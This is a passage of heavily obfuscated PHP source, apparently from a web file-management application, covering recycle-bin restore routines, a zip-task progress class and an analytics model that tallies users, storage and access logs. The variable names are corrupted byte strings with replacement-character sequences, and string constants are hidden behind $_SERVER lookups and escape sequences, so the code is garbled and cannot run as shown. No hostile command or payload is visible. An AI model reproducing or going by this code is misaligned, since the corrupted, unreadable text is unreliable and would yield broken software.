$ÍŒ“úÅâ = $Õ§áÈÙô[$“ÄŠñ¸Ú[190]] . $“ÄŠñ¸Ú[11] . $Õ§áÈÙô[$“ÄŠñ¸Ú[569]]; $šÛ<C5A1>ÉÕÑ[$ÍŒ“úÅâ] = array($“ÄŠñ¸Ú[648] => $Õ§áÈÙô[$“ÄŠñ¸Ú[190]], $“ÄŠñ¸Ú[569] => $Õ§áÈÙô[$“ÄŠñ¸Ú[569]]); $this->where(array($“ÄŠñ¸Ú[193] => $‚ÊÂæÃ¨))->delete(); } foreach ($šÛ<C5A1>ÉÕÑ as $ œ‹Åò”) { $¢¹ß祄->targetSpaceUpdate($ œ‹Åò”[$“ÄŠñ¸Ú[190]], $ œ‹Åò”[$“ÄŠñ¸Ú[569]]); } } public function restore($¯Ë‰”Ñ­ = false) { $ƒìˆâ§” = $this->listData(); $this->_restoreSource($ƒìˆâ§”, $¯Ë‰”Ñ­); } public function removeUserAll($¢—£‚¡·) { $this->remove(!1, $¢—£‚¡·); } public function restoreItem($ëñΑŠï) { $this->_restoreSource(array($ëñΑŠï), array($ëñΑŠï)); } private function _restoreSource($ŒœÀσ¬, $ÔÍÏ¥—£) { $‚¾ò瀊 =& $_SERVER[ˆ¡¹µ‹Â]; $áÉ<C3A1>¬ç• = Model($‚¾ò瀊[1411]); $ÔÍÏ¥—£ = $ÔÍÏ¥—£ == !1 ? !1 : $ÔÍÏ¥—£; if (!$ŒœÀσ¬) { return !0; } $„ªÕÜÄá = array(); foreach ($ŒœÀσ¬ as $ñ‰´þîÈ) { if ($ÔÍÏ¥—£ != !1 && !in_array($ñ‰´þîÈ, $ÔÍÏ¥—£)) { continue; } $ÐßœñƇ = $áÉ<C3A1>¬ç•->sourceInfo($ñ‰´þîÈ); $ï«<C3AF><EFBFBD>ô = $áÉ<C3A1>¬ç•->sourceInfo($ÐßœñƇ[$‚¾ò瀊[192]]); if ($ï«<C3AF><EFBFBD>ô[$‚¾ò瀊[505]] == $‚¾ò瀊[91]) { continue; } $áÉ<C3A1>¬ç•->lockMoveStart($ñ‰´þîÈ); $this->recycleMove($ñ‰´þîÈ, 0); if ($ÐßœñƇ[$‚¾ò瀊[485]] == $‚¾ò瀊[91]) { $Ö»Üóé<C3B3> = array($‚¾ò瀊[652] => array($‚¾ò瀊[612], $ÐßœñƇ[$‚¾ò瀊[584]] . $ñ‰´þîÈ . $‚¾ò瀊[613])); $áÉ<C3A1>¬ç•->where($Ö»Üóé<C3B3>)->setField($‚¾ò瀊[505], 0); $this->restoreFolderChildren($ñ‰´þîÈ, $ŒœÀσ¬); } $this->where(array($‚¾ò瀊[193] => $ñ‰´þîÈ))->delete(); $áÉ<C3A1>¬ç•->folderSizeReset($ÐßœñƇ[$‚¾ò瀊[192]]); $„ªÕÜÄá[] = $ÐßœñƇ[$‚¾ò瀊[192]]; if ($ÐßœñƇ[$‚¾ò瀊[485]] == $‚¾ò瀊[91]) { $„ªÕÜÄá[] = $ñ‰´þîÈ; } $áÉ<C3A1>¬ç•->lockMoveEnd($ñ‰´þîÈ); } $áÉ<C3A1>¬ç•->updateModifyTime($„ªÕÜÄá); } private function restoreFolderChildren($·®¯ƒÖˆ, $¢üÛ£ýÂ) { $Íš‘ÁŒü =& $_SERVER[ˆ¡¹µ‹Â]; $Ðõ¨´»¨ = Model($Íš‘ÁŒü[1411]); $½›„¯þƒ = array($Íš‘ÁŒü[193] => array($Íš‘ÁŒü[7], array())); foreach ($¢üÛ£ý as $›¥«˜°Ë) { if ($›¥«˜°Ë == $·®¯ƒÖˆ) { continue; } if (!$Ðõ¨´»¨->isParentOf($·®¯ƒÖˆ, $›¥«˜°Ë)) { continue; } $¹þÕħê = $Ðõ¨´»¨->sourceInfo($›¥«˜°Ë); if ($¹þÕħê[$Íš‘ÁŒü[485]] == $Íš‘ÁŒü[91]) { $½›„¯þƒ[] = array($Íš‘ÁŒü[652] => array($Íš‘ÁŒü[612], $¹þÕħê[$Íš‘ÁŒü[584]] . $›¥«˜°Ë . $Íš‘ÁŒü[613])); } else { $½›„¯þƒ[$Íš‘ÁŒü[193]][1][] = $›¥«˜°Ë; } } if (!$½›„¯þƒ[$Íš‘ÁŒü[193]][1]) { unset($½›„¯þƒ[$Íš‘ÁŒü[193]]); } if (!$½›„¯þƒ) { return; } if (is_array($½›„¯þƒ[$Íš‘ÁŒü[193]]) && is_array($½›„¯þƒ[$Íš‘ÁŒü[193]][1])) { $½›„¯þƒ[$Íš‘ÁŒü[193]][1] = array_unique($½›„¯þƒ[$Íš‘ÁŒü[193]][1]); } $½›„¯þƒ[$Íš‘ÁŒü[1071]] = $Íš‘ÁŒü[2064]; $Ðõ¨´»¨->where($½›„¯þƒ)->setField($Íš‘ÁŒü[505], 1); } private function recycleMove($ø€Ìø’Å, $<24>µéó¾€ = 1) { $îçò =& $_SERVER[ˆ¡¹µ‹Â]; $Í•Š®žß = Model($îçò[1411]); $³‡ò©ÎÒ = Model($îçò[2291]); $ôúóб = array($îçò[193] => $ø€Ìø’Å); if ($<24>µéó¾€) { $Í•Š®žß->where($ôúóб)->setField($îçò[505], 1); $³‡ò©ÎÒ->eventRecycle($ø€Ìø’Å, $îçò[2292]); } else { $Ö”‹¿ß¬ = $Í•Š®žß->where($ôúóб)->find(); $šÑ<C5A1>Êí<C38A> = $Ö”‹¿ß¬[$îçò[485]] == $îçò[91]; $Í<>˜‡Øº = $Í•Š®žß->fileNameAuto($Ö”‹¿ß¬[$îçò[192]], $Ö”‹¿ß¬[$îçò[32]], REPEAT_RENAME_FOLDER, $šÑ<C5A1>Êí<C38A>); if ($Í<>˜‡Øº != $Ö”‹¿ß¬[$îçò[32]]) { $Í•Š®žß->rename($ø€Ìø’Å, $Í<>˜‡Øº); } $Í•Š®žß->where($ôúóб)->setField($îçò[505], 0); $³‡ò©ÎÒ->eventRecycle($ø€Ìø’Å, $îçò[2293]); } } } class SourceSecretModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\164\x65\155\56\163\157\165\162\143\145\x53\x65\x63\x72\x65\x74\114\x69\x73\x74"; public $field = array("\x73\x6f\165\x72\x63\145\x49\x44", "\x74\x79\160\145\111\x44", "\143\x72\x65\141\164\145\125\x73\x65\x72"); } goto Cà˜æß×¶Ã; BÚÃ…©ð¡«: class TaskZip extends TaskFileTransfer { protected function startAfter() { $šµ’Œ’³ =& $_SERVER[ˆ¡¹µ‹Â]; parent::startAfter(); Hook::bind($šµ’Œ’³[1887], array($this, $šµ’Œ’³[1877])); Hook::bind($šµ’Œ’³[1879], array($this, $šµ’Œ’³[1880])); $ï÷ïž®ž =& $this->task; $ï÷ïž®ž[$šµ’Œ’³[1881]] = $šµ’Œ’³[1272]; if (!$ï÷ïž®ž[$šµ’Œ’³[1652]]) { $ï÷ïž®ž[$šµ’Œ’³[1652]] = LNG($šµ’Œ’³[1888]); } } protected function endAfter() { $ÈÊâ<C38A><C3A2>¡ =& $_SERVER[ˆ¡¹µ‹Â]; parent::endAfter(); Hook::unbind($ÈÊâ<C38A><C3A2>¡[1887], array($this, $ÈÊâ<C38A><C3A2>¡[1877])); Hook::unbind($ÈÊâ<C38A><C3A2>¡[1879], array($this, $ÈÊâ<C38A><C3A2>¡[1880])); } public function updateAfter() { $ͼ<C38D>´Œ<C2B4> =& $_SERVER[ˆ¡¹µ‹Â]; $І꽓† =& $this->task; if (!$І꽓†[$ͼ<C38D>´Œ<C2B4>[1134]] || !$І꽓†[$ͼ<C38D>´Œ<C2B4>[830]]) { return; } if ($І꽓†[$ͼ<C38D>´Œ<C2B4>[1881]] == $ͼ<C38D>´Œ<C2B4>[1272]) { $÷<C383>Ï÷¾ = $І꽓†[$ͼ<C38D>´Œ<C2B4>[1817]]; if ($І꽓†[$ͼ<C38D>´Œ<C2B4>[1818]] != $ͼ<C38D>´Œ<C2B4>[1272]) { $÷<C383>Ï÷¾ = 0; } $úæ›ýš” = ($І꽓†[$ͼ<C38D>´Œ<C2B4>[1821]] + $÷<C383>Ï÷¾) / $І꽓†[$ͼ<C38D>´Œ<C2B4>[830]]; $І꽓†[$ͼ<C38D>´Œ<C2B4>[1765]] = $úæ›ýš” * 0.3; } else { if ($І꽓†[$ͼ<C38D>´Œ<C2B4>[1881]] == $ͼ<C38D>´Œ<C2B4>[389]) { $úæ›ýš” = $І꽓†[$ͼ<C38D>´Œ<C2B4>[1764]] / $І꽓†[$ͼ<C38D>´Œ<C2B4>[1134]]; $І꽓†[$ͼ<C38D>´Œ<C2B4>[1765]] = 0.3 + $úæ›ýš” * 0.5; } else { if ($І꽓†[$ͼ<C38D>´Œ<C2B4>[1881]] == $ͼ<C38D>´Œ<C2B4>[110]) { $úæ›ýš” = 0; if ($І꽓†[$ͼ<C38D>´Œ<C2B4>[1816]]) { $úæ›ýš” = $І꽓†[$ͼ<C38D>´Œ<C2B4>[1817]] / $І꽓†[$ͼ<C38D>´Œ<C2B4>[1816]]; } $І꽓†[$ͼ<C38D>´Œ<C2B4>[1765]] = 0.3 + 0.5 + $úæ›ýš” * 0.2; } } } if ($І꽓†[$ͼ<C38D>´Œ<C2B4>[1765]] > 0) { $¢Ÿï·ƒŸ = timeFloat() - $І꽓†[$ͼ<C38D>´Œ<C2B4>[1767]] - $І꽓†[$ͼ<C38D>´Œ<C2B4>[1770]]; $І꽓†[$ͼ<C38D>´Œ<C2B4>[1771]] = $¢Ÿï·ƒŸ * (1 - $І꽓†[$ͼ<C38D>´Œ<C2B4>[1765]]) / $І꽓†[$ͼ<C38D>´Œ<C2B4>[1765]]; } } public function copyFileStart($Û‘üÕØØ, $œÜý—¤ˆ, $Ø“<C398>å°½, $å÷¾Ç¦ç, $ÃÇãøÝð, $¿µî㌮) { $„ƒã<C692>ò<EFBFBD> =& $_SERVER[ˆ¡¹µ‹Â]; parent::copyFileStart($Û‘üÕØØ, $œÜý—¤ˆ, $Ø“<C398>å°½, $å÷¾Ç¦ç, $ÃÇãøÝð, $¿µî㌮); $ë­´­°¾ =& $this->task; if ($ë­´­°¾[$„ƒã<C692>ò<EFBFBD>[1881]] == $„ƒã<C692>ò<EFBFBD>[389]) { $ë­´­°¾[$„ƒã<C692>ò<EFBFBD>[1881]] = $„ƒã<C692>ò<EFBFBD>[110]; } $this->update(); } public function copyFileEnd($Ê×Çú¥‹, $Ììƒ<C3AC>«Ì, $Ú»ä¤ï<C2A4>, $­Ü•”ÂÒ, $áõØ®’ò, $ªöÛº»á) { $—ÚðÞ—Õ =& $_SERVER[ˆ¡¹µ‹Â]; $ïӽь =& $this->task; $ïӽьÂ[$—ÚðÞ—Õ[1817]] = $ïӽьÂ[$—ÚðÞ—Õ[1816]]; $ïӽьÂ[$—ÚðÞ—Õ[1821]] += $ïӽьÂ[$—ÚðÞ—Õ[1816]]; $ïӽьÂ[$—ÚðÞ—Õ[1818]] = $—ÚðÞ—Õ[12]; $this->update(); } public function zipEvent($¹š¯“Éþ, $Ù©äëÌŒ, $¡ÆœîÒç, $àöꆦå) { $ÁŠ­î„’ =& $_SERVER[ˆ¡¹µ‹Â]; $ýìãÒß<C392> =& $this->task; $ýìãÒß<C392>[$ÁŠ­î„’[1814]] = get_path_this($Ù©äëÌŒ); $ýìãÒß<C392>[$ÁŠ­î„’[1816]] = $àöꆦå; $ýìãÒß<C392>[$ÁŠ­î„’[1817]] = $¡ÆœîÒç; $ýìãÒß<C392>[$ÁŠ­î„’[1136]] = $¹š¯“Éþ == $ÁŠ­î„’[1889] ? $ÁŠ­î„’[1884] : $ÁŠ­î„’[1885]; $ýìãÒß<C392>[$ÁŠ­î„’[1818]] = $ÁŠ­î„’[12]; $ýìãÒß<C392>[$ÁŠ­î„’[830]] = $àöꆦå; $ýìãÒß<C392>[$ÁŠ­î„’[1881]] = $ÁŠ­î„’[389]; $this->update(); } public function nameParse($¯‡·ü§«) { $ݔ߳ǣ =& $_SERVER[ˆ¡¹µ‹Â]; $ÕÏˆÌÆ<C38C> =& $this->task; if ($ÕÏˆÌÆ<C38C>[$ݔ߳ǣ[1764]] < $ÕÏˆÌÆ<C38C>[$ݔ߳ǣ[1134]]) { $Ö<>ù<EFBFBD><EFBFBD> = get_path_this($¯‡·ü§«); if (strstr($Ö<>ù<EFBFBD><EFBFBD>, $ݔ߳ǣ[10])) { $ÕÏˆÌÆ<C38C>[$ݔ߳ǣ[1764]] += 1; } } if ($ÕÏˆÌÆ<C38C>[$ݔ߳ǣ[1881]] == $ݔ߳ǣ[1272]) { $ÕÏˆÌÆ<C38C>[$ݔ߳ǣ[1881]] = $ݔ߳ǣ[389]; } $ÕÏˆÌÆ<C38C>[$ݔ߳ǣ[1814]] = $¯‡·ü§«; $this->update(); } } class AnalysisModel extends ModelBaseLight { public function init($½ë±†×©) { $“Æ…Ýù‘ =& $_SERVER[ˆ¡¹µ‹Â]; $†Ö<E280A0>ÙÂç = array($“Æ…Ýù‘[662] => array($“Æ…Ýù‘[33] => $“Æ…Ýù‘[1890], $“Æ…Ýù‘[350] => array($“Æ…Ýù‘[255], $“Æ…Ýù‘[832], $“Æ…Ýù‘[1891], $“Æ…Ýù‘[1892])), $“Æ…Ýù‘[1893] => array($“Æ…Ýù‘[33] => $“Æ…Ýù‘[1894], $“Æ…Ýù‘[350] => array($“Æ…Ýù‘[255], $“Æ…Ýù‘[830], $“Æ…Ýù‘[1895], $“Æ…Ýù‘[1896], $“Æ…Ýù‘[1897]))); if (!isset($†Ö<E280A0>ÙÂç[$½ë±†×©])) { return !1; } $this->optionType = $†Ö<E280A0>ÙÂç[$½ë±†×©][$“Æ…Ýù‘[33]]; $this->field = $†Ö<E280A0>ÙÂç[$½ë±†×©][$“Æ…Ýù‘[350]]; return !0; } public function listData($蓻dz” = false, $Ä÷üÕÚˆ = "\155\157\x64\151\x66\171\124\151\155\145", $º¶Ë = false) { return parent::listData($蓻dz”, $Ä÷üÕÚˆ, $º¶Ë); } public function trendList($œÂï–¹Ý) { $<24><>¯Þ¢º =& $_SERVER[ˆ¡¹µ‹Â]; $‰ö߇‡Ù = $this->listData(); if ($‰ö߇‡Ù) { $—¹Øë¢Ü = end($‰ö߇‡Ù); $Áìù¯ÚÈ = date($<24><>¯Þ¢º[1898], strtotime($<24><>¯Þ¢º[1899])); if ($—¹Øë¢Ü[$<24><>¯Þ¢º[255]] == $Áìù¯ÚÈ) { return $‰ö߇‡Ù; } $‘Üù÷íÕ = strtotime($—¹Øë¢Ü[$<24><>¯Þ¢º[255]]); } if (!isset($‘Üù÷íÕ)) { $‡˜«äŠà = $œÂï–¹Ý == $<24><>¯Þ¢º[662] ? $<24><>¯Þ¢º[598] : $<24><>¯Þ¢º[899]; $‘Üù÷íÕ = Model($‡˜«äŠà)->min($<24><>¯Þ¢º[231]); } $¤ÃÚØÌ÷ = $<24><>¯Þ¢º[1900] . ucfirst($œÂï–¹Ý); $Û †—›è = $this->dateList($‘Üù÷íÕ); foreach ($Û †—›è as $Áìù¯ÚÈ) { $this->{$¤ÃÚØÌ÷}($Áìù¯ÚÈ); } return $this->listData(); } private function dateList($<24><><EFBFBD>銘) { $Š…Ùœï<C593> =& $_SERVER[ˆ¡¹µ‹Â]; $ðÅÉÍ<C38D> = $<24><><EFBFBD>銘; $ïÝÝÚòú = strtotime($Š…Ùœï<C593>[1899]); $ü´³«ì = array(); while ($ðÅÉÍ<C38D> <= $ïÝÝÚòú) { $ü´³«ì[] = date($Š…Ùœï<C593>[1898], $ðÅÉÍ<C38D>); $ðÅÉÍ<C38D> = strtotime($Š…Ùœï<C593>[1901], $ðÅÉÍ<C38D>); } return $ü´³«ì; } public function _recordUser($<24>ÏÁ×ÜŽ = '') { $ýŒÐËʽ =& $_SERVER[ˆ¡¹µ‹Â]; $ç<>µÖæí = strtotime(date($ýŒÐËʽ[1902], strtotime($<24>ÏÁ×ÜŽ))); $ÇøûæÔš = strtotime(date($ýŒÐËʽ[1903], strtotime($<24>ÏÁ×ÜŽ))); $ݺ¾Å‘´ = array($ýŒÐËʽ[231] => array($ýŒÐËʽ[1084], $ÇøûæÔš)); $ݱÔÅÜ© = Model($ýŒÐËʽ[598])->where($ݺ¾Å‘´)->count($ýŒÐËʽ[1763]); $ݺ¾Å‘´[$ýŒÐËʽ[231]] = array($ýŒÐËʽ[409], array($ç<>µÖæí, $ÇøûæÔš)); $ùÀ‹¥¡Û = Model($ýŒÐËʽ[598])->where($ݺ¾Å‘´)->count($ýŒÐËʽ[1763]); $ݺ¾Å‘´[$ýŒÐËʽ[33]] = $ýŒÐËʽ[1904]; $ý¼ªÀÙ² = Model($ýŒÐËʽ[1905])->where($ݺ¾Å‘´)->count($ýŒÐËʽ[1906]); $”œâöäˆ = array($ýŒÐËʽ[255] => $<24>ÏÁ×ÜŽ, $ýŒÐËʽ[832] => (int) $ݱÔÅÜ©, $ýŒÐËʽ[1891] => (int) $ùÀ‹¥¡Û, $ýŒÐËʽ[1892] => (int) $ý¼ªÀÙ²); return $this->insert($”œâöäˆ); } public function _recordStore($ØïÍãአ= '') { $úààúó° =& $_SERVER[ˆ¡¹µ‹Â]; $ø‡¯†µ· = strtotime(date($úààúó°[1903], strtotime($ØïÍãáŠ))); $ÔµÊýÔ™ = array($úààúó°[231] => array($úààúó°[1084], $ø‡¯†µ·)); $…ûãÛœ… = Model($úààúó°[544])->where($ÔµÊýÔ™)->sum($úààúó°[79]); $ÔµÊýÔ™[$úààúó°[485]] = 0; $ŠÃ<C5A0>©³é = Model($úààúó°[899])->where($ÔµÊýÔ™)->sum($úààúó°[79]); $ÔµÊýÔ™[$úààúó°[190]] = 1; $†øÈ¥¼É = Model($úààúó°[899])->where($ÔµÊýÔ™)->sum($úààúó°[79]); $ÔµÊýÔ™[$úààúó°[190]] = 2; $á¦ü¨¥­ = Model($úààúó°[899])->where($ÔµÊýÔ™)->sum($úààúó°[79]); $¿á‘‡ë» = array($úààúó°[255] => $ØïÍãáŠ, $úààúó°[830] => (int) $ŠÃ<C5A0>©³é, $úààúó°[1895] => (int) $…ûãÛœ…, $úààúó°[1896] => (int) $†øÈ¥¼É, $úààúó°[1897] => (int) $á¦ü¨¥­); return $this->insert($¿á‘‡ë»); } public function trend($Ìù§©óø, $›ÜôÞôå) { $×Ƕð³Ð =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->init($Ìù§©óø)) { return !1; } $ø—<C3B8><E28094>ïð = $this->trendList($Ìù§©óø); if ($ø—<C3B8><E28094>ïð && $›ÜôÞôå != $×Ƕð³Ð[1736]) { $ó±Ç¬À = $ø—<C3B8><E28094>ïð[0][$×Ƕð³Ð[255]]; $¾ìò¹òÑ = $this->validDate($›ÜôÞôå, $ó±Ç¬ÀÂ); $“á¹åÓô = array(); $‰È꘲¹ = array_to_keyvalue($ø—<C3B8><E28094>ïð, $×Ƕð³Ð[255]); foreach ($¾ìò¹òÑ as $³»ÜáÐÅ) { if (isset($‰È꘲¹[$³»ÜáÐÅ])) { $<24>ÙßÒñÒ = $‰È꘲¹[$³»ÜáÐÅ]; } else { $<24>ÙßÒñÒ = end($ø—<C3B8><E28094>ïð); $<24>ÙßÒñÒ[$×Ƕð³Ð[255]] = $³»ÜáÐÅ; if ($Ìù§©óø == $×Ƕð³Ð[662]) { $<24>ÙßÒñÒ[$×Ƕð³Ð[1891]] = $<24>ÙßÒñÒ[$×Ƕð³Ð[1892]] = 0; } } $“á¹åÓô[] = $<24>ÙßÒñÒ; } $ø—<C3B8><E28094>ïð = $“á¹åÓô; } $¨éÜ튴 = array($×Ƕð³Ð[662] => array($×Ƕð³Ð[832] => LNG($×Ƕð³Ð[1907]), $×Ƕð³Ð[1891] => LNG($×Ƕð³Ð[1908]), $×Ƕð³Ð[1892] => LNG($×Ƕð³Ð[1909])), $×Ƕð³Ð[1893] => array($×Ƕð³Ð[830] => LNG($×Ƕð³Ð[1910]), $×Ƕð³Ð[1895] => LNG($×Ƕð³Ð[1911]), $×Ƕð³Ð[1896] => LNG($×Ƕð³Ð[1912]), $×Ƕð³Ð[1897] => LNG($×Ƕð³Ð[1913]))); $ £þ¾<E28098> = array($×Ƕð³Ð[662] => $×Ƕð³Ð[1914], $×Ƕð³Ð[1893] => $×Ƕð³Ð[79]); if (empty($ø—<C3B8><E28094>ïð)) { $³»ÜáÐÅ = date($×Ƕð³Ð[1898], strtotime($×Ƕð³Ð[1899])); $÷²Â—œ³ = array($×Ƕð³Ð[255] => $³»ÜáÐÅ); foreach ($¨éÜ튴[$Ìù§©óø] as $ºÆ¬<C386>°† => $½ÙÎ¥˜³) { $÷²Â—œ³[$ºÆ¬<C386>°†] = 0; } $ø—<C3B8><E28094>ïð[] = $÷²Â—œ³; } $ÉÄÕº„ô = array(); foreach ($ø—<C3B8><E28094>ïð as $½ÙÎ¥˜³) { if ($Ìù§©óø == $×Ƕð³Ð[1893] && $½ÙÎ¥˜³[$×Ƕð³Ð[1895]] > $½ÙÎ¥˜³[$×Ƕð³Ð[830]]) { $½ÙÎ¥˜³[$×Ƕð³Ð[1895]] = $½ÙÎ¥˜³[$×Ƕð³Ð[830]]; } foreach ($¨éÜ튴[$Ìù§©óø] as $ºÆ¬<C386>°† => $‚Íî¾€¯) { $<24>ÙßÒñÒ = array($×Ƕð³Ð[255] => $½ÙÎ¥˜³[$×Ƕð³Ð[255]], $×Ƕð³Ð[1652] => $‚Íî¾€¯); $<24>ÙßÒñÒ[$ £þ¾<E28098>[$Ìù§©óø]] = isset($½ÙÎ¥˜³[$ºÆ¬<C386>°†]) ? $½ÙÎ¥˜³[$ºÆ¬<C386>°†] : 0; $ÉÄÕº„ô[] = $<24>ÙßÒñÒ; } } return $ÉÄÕº„ô; } public function validDate($ÝÔ‰äÆ‡, $öÞ̯¢ô) { $޳­<C2AD>ö =& $_SERVER[ˆ¡¹µ‹Â]; $Ý·¨¡‰£ = date($޳­<C2AD>ö[1898], strtotime($޳­<C2AD>ö[1899])); $ÛÓ¥¸“¸ = array($Ý·¨¡‰£); switch ($ÝÔ‰äÆ‡) { case $޳­<C2AD>ö[1743]: $ðí·»<C2B7> = mktime(0, 0, 0, date($޳­<C2AD>ö[1915]), date($޳­<C2AD>ö[1442]) - date($޳­<C2AD>ö[1532]) + 7 - 7, date($޳­<C2AD>ö[1916])); $Œ±À—dž = 0; do { $Ùè®Îõ‘ = date($޳­<C2AD>ö[1898], $ðí·»<C2B7> - 3600 * 24 * 7 * $Œ±À—dž); $ÛÓ¥¸“¸[] = $Ùè®Îõ‘; $Œ±À—dž++; } while ($öÞ̯¢ô < $Ùè®Îõ‘); break; case $޳­<C2AD>ö[1741]: $Œ±À—dž = 1; do { $«÷³åÙ÷ = date($޳­<C2AD>ö[1917], strtotime("\55\40{$Œ±À—dž}\x20\155\x6f\x6e\164\x68\x73")); $ÛÓ¥¸“¸[] = $«÷³åÙ÷; $Œ±À—dž++; } while ($öÞ̯¢ô < $«÷³åÙ÷); break; case $޳­<C2AD>ö[1918]: $ÖØÇ“”® = (int) date($޳­<C2AD>ö[1916], strtotime($öÞ̯¢ô)); $¸Ò”»ä<C2BB> = (int) date($޳­<C2AD>ö[1916]); if ($ÖØÇ“”® >= $¸Ò”»ä<C2BB>) { break; } for ($ÖØÇ“”®; $ÖØÇ“”® < $¸Ò”»ä<C2BB>; $ÖØÇ“”®++) { $ÛÓ¥¸“¸[] = $ÖØÇ“”® . $޳­<C2AD>ö[1919]; } break; default: break; } if ($öÞ̯¢ô > end($ÛÓ¥¸“¸)) { array_pop($ÛÓ¥¸“¸); } sort($ÛÓ¥¸“¸); return $ÛÓ¥¸“¸; } public function listTable($<24>šµÆÓ) { $ð¨ö<C2A8>ý¥ = ucfirst($<24>šµÆÓ); return Model($ð¨ö<C2A8>ý¥)->listData(); } public function option($ØŸ³¤úý) { $ˆ¸•¿°Ú = $_SERVER[ˆ¡¹µ‹Â][1920] . ucfirst($ØŸ³¤úý); return $this->{$ˆ¸•¿°Ú}(); } private function optionUser() { $Å“µ –Î =& $_SERVER[ˆ¡¹µ‹Â]; $çùÉµí… = Model($Å“µ –Î[598])->count($Å“µ –Î[1763]); $¼èÁŽ<C381>» = Model($Å“µ –Î[598])->where($Å“µ –Î[1921])->count($Å“µ –Î[1763]); $»ÓÂ÷éƒ = intval($GLOBALS[$Å“µ –Î[6]][$Å“µ –Î[425]][$Å“µ –Î[1709]]) / 3600; $õ—‚—™Î = strtotime("\55{$»ÓÂ÷éƒ}\x20\150\x6f\x75\162\x73"); $ÉÔ…š¥ˆ = strtotime(date($Å“µ –Î[1902])); if ($õ—‚—™Î < $ÉÔ…š¥ˆ) { $õ—‚—™Î = $ÉÔ…š¥ˆ; } $â‘‚ŸÁ‹ = array($Å“µ –Î[1922] => array($Å“µ –Î[1085], $õ—‚—™Î)); $ÞŽ¥ö“² = (int) Model($Å“µ –Î[598])->where($â‘‚ŸÁ‹)->count($Å“µ –Î[1763]); if (!$ÞŽ¥ö“²) { $ÞŽ¥ö“² = 1; } $â‘‚ŸÁ‹ = array($Å“µ –Î[1922] => array($Å“µ –Î[1085], $ÉÔ…š¥ˆ)); $‡Œß<C592>çã = Model($Å“µ –Î[598])->where($â‘‚ŸÁ‹)->count($Å“µ –Î[1763]); return array($Å“µ –Î[825] => (int) $çùɵí…, $Å“µ –Î[1923] => (int) ($çùÉµí… - $¼èÁŽ<C381>»), $Å“µ –Î[1924] => (int) $¼èÁŽ<C381>», $Å“µ –Î[1925] => (int) $‡Œß<C592>çã, $Å“µ –Î[1926] => $ÞŽ¥ö“²); } private function optionFile() { $<24>Î—ÒŽÛ =& $_SERVER[ˆ¡¹µ‹Â]; $§à¡ÒÇÑ = $this->sourceSize(); $³Žé§—¾ = $§à¡ÒÇÑ[$<24>ΗҎÛ[79]]; $–Û•‡»ð = $§à¡ÒÇÑ[$<24>ΗҎÛ[1895]]; $Ýï‰ü¸À = Model($<24>ΗҎÛ[899])->where(array($<24>ΗҎÛ[485] => 0))->count($<24>ΗҎÛ[193]); $•¼öú€„ = array($<24>ΗҎÛ[485] => 0, $<24>ΗҎÛ[231] => array($<24>ΗҎÛ[1085], strtotime(date($<24>ΗҎÛ[1902])))); $Ç„«®ÉÇ = Model($<24>ΗҎÛ[899])->where($•¼öú€„)->sum($<24>ΗҎÛ[79]); $Œáùìè¯ = Model($<24>ΗҎÛ[899])->where($•¼öú€„)->count($<24>ΗҎÛ[193]); return array($<24>ΗҎÛ[830] => $³Žé§—¾, $<24>ΗҎÛ[1895] => $–Û•‡»ð, $<24>ΗҎÛ[1927] => $³Žé§—¾ - $–Û•‡»ð, $<24>ΗҎÛ[1928] => (int) $Ç„«®ÉÇ, $<24>ΗҎÛ[832] => (int) $Ýï‰ü¸À, $<24>ΗҎÛ[1929] => (int) $Œáùìè¯); } private function optionAccess() { $àˆõ°¢€ =& $_SERVER[ˆ¡¹µ‹Â]; return array($àˆõ°¢€[825] => $this->typeLogCnt(), $àˆõ°¢€[110] => $this->typeLogCnt($àˆõ°¢€[110]), $àˆõ°¢€[525] => $this->typeLogCnt($àˆõ°¢€[525]), $àˆõ°¢€[1930] => $this->typeLogCnt($àˆõ°¢€[1930]), $àˆõ°¢€[1931] => $this->typeLogCnt($àˆõ°¢€[1931]), $àˆõ°¢€[662] => $this->typeLogCnt($àˆõ°¢€[12], $àˆõ°¢€[1906])); } private function typeLogCnt($©¬æÑ΋ = '', $𕄇ñó = "\x69\x64") { $ó‡žÔ›ñ =& $_SERVER[ˆ¡¹µ‹Â]; $Ö¶õýõ¦ = array($ó‡žÔ›ñ[110] => array($ó‡žÔ›ñ[1932], $ó‡žÔ›ñ[1933]), $ó‡žÔ›ñ[525] => array($ó‡žÔ›ñ[1934], $ó‡žÔ›ñ[1935]), $ó‡žÔ›ñ[1930] => array($ó‡žÔ›ñ[1936], $ó‡žÔ›ñ[1937], $ó‡žÔ›ñ[1938]), $ó‡žÔ›ñ[1931] => array($ó‡žÔ›ñ[1939], $ó‡žÔ›ñ[1940]), $ó‡žÔ›ñ[1941] => array($ó‡žÔ›ñ[1942], $ó‡žÔ›ñ[1943], $ó‡žÔ›ñ[1944])); $Ìûý¸¹ý = strtotime(date($ó‡žÔ›ñ[1902])); $†Ä€Ò¼ô = array($ó‡žÔ›ñ[231] => array($ó‡žÔ›ñ[1085], $Ìûý¸¹ý)); if ($©¬æÑ΋) { $†Ä€Ò¼ô[$ó‡žÔ›ñ[33]] = array($ó‡žÔ›ñ[7], $Ö¶õýõ¦[$©¬æÑ΋]); } $‚•濃³ = Model($ó‡žÔ›ñ[1905])->where($†Ä€Ò¼ô)->count($𕄇ñó); return (int) $‚•濃³; } private function optionServer() { $ý禔†¦ =& $_SERVER[ˆ¡¹µ‹Â]; $ÉœÐÞŽ<C39E> = $this->diskDriver(); $×òÕÍþù = KodIO::defaultDriver(); $ͽ²³ª× = array($ý禔†¦[892] => $×òÕÍþù[$ý禔†¦[475]]); $ÚÈÁÈÎð = Model($ý禔†¦[544])->where($ͽ²³ª×)->sum($ý禔†¦[79]); $ëáÈðÉ<C3B0> = explode($ý禔†¦[53], $_SERVER[$ý禔†¦[147]]); $ùÇ›Ìä¦ = $ëáÈðÉ<C3B0>[0]; $æàˆ ’Ù = $GLOBALS[$ý禔†¦[6]][$ý禔†¦[21]]; $õÅþ¯ûá = $æàˆ ’Ù[$ý禔†¦[1047]]; if ($õÅþ¯ûá == $ý禔†¦[1035]) { $Ô„¼›¦Ç = explode($ý禔†¦[1361], $æàˆ ’Ù[$ý禔†¦[1046]]); $õÅþ¯ûá = $Ô„¼›¦Ç[0]; } if ($õÅþ¯ûá == $ý禔†¦[983] || $õÅþ¯ûá == $ý禔†¦[879]) { $ÇÙÏ×<C38F>­ = Model()->db()->query($ý禔†¦[1945]); $±­ªÌ‚  = $ÇÙÏ×<C38F>­[0] && 